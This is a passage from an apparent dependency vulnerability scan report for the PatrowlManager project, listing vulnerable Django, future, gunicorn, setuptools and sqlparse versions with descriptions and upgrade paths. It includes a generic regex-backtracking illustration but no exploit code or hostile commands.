    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) via an infinite loop during file parsing that occurs when certain inputs are passed to multipart forms.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 2.2.27, 3.2.12, 4.0.2 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@3.2.18.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when parsing multipart form data in http/multipartparser.py. An attacker can trigger the opening of a large number of uploaded files which are not subsequently closed, consuming memory or filehandling resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 3.2.18, 4.0.10, 4.1.7 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@3.2.21.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) in the django.utils.encoding.uri_to_iri() function when processing inputs with a large number of Unicode characters.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 3.2.21, 4.1.11, 4.2.5 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@3.2.20.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the EmailValidator and URLValidator classes, when processing a very large number of domain name labels on emails or URLs.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade django to version 3.2.20, 4.1.10, 4.2.3 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: future
  • Introduced through: future@0.16.0 and thehive4py@1.8.1

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce future@0.16.0
    Remediation: Upgrade to future@0.18.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce thehive4py@1.8.1 future@0.16.0
    Remediation: Upgrade to thehive4py@2.0.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via a crafted Set-Cookie HEADER from a malicious web server.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade future to version 0.18.3 or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: gunicorn
  • Introduced through: gunicorn@20.0.4

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce gunicorn@20.0.4
    Remediation: Upgrade to gunicorn@22.0.0.

Overview

gunicorn is a Python WSGI HTTP Server for UNIX

Affected versions of this package are vulnerable to HTTP Request Smuggling due to the improper validation of Transfer-Encoding headers. An attacker can bypass security restrictions and access restricted endpoints by crafting requests with conflicting Transfer-Encoding headers.

Notes:

  1. This is only exploitable if users have a network path which does not filter out invalid requests;

  2. Users are advised to block access to restricted endpoints via a firewall or other mechanism until a fix can be developed.

  3. This issue arises from the application's incorrectly processing of requests with multiple, conflicting Transfer-Encoding headers, treating them as chunked regardless of the final encoding specified.

Remediation

Upgrade gunicorn to version 22.0.0 or higher.

References

high severity

Improper Control of Generation of Code ('Code Injection')

  • Vulnerable module: setuptools
  • Introduced through: gunicorn@20.0.4

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce gunicorn@20.0.4 setuptools@40.5.0
    Remediation: Upgrade to gunicorn@20.1.0.

Overview

Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') through the package_index module's download functions due to the unsafe usage of os.system. An attacker can execute arbitrary commands on the system by providing malicious URLs or manipulating the URLs retrieved from package index servers.

Note

Because easy_install and package_index are deprecated, the exploitation surface is reduced, but it's conceivable through social engineering or minor compromise to a package index could grant remote access.

Remediation

Upgrade setuptools to version 70.0.0 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: sqlparse
  • Introduced through: sqlparse@0.4.2, django@2.2.26 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce sqlparse@0.4.2
    Remediation: Upgrade to sqlparse@0.4.4.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django@3.2.22.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 sqlparse@0.4.2
    Remediation: Upgrade to django-debug-toolbar@3.2.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26 sqlparse@0.4.2
    Remediation: Upgrade to django-celery-beat@2.6.0.
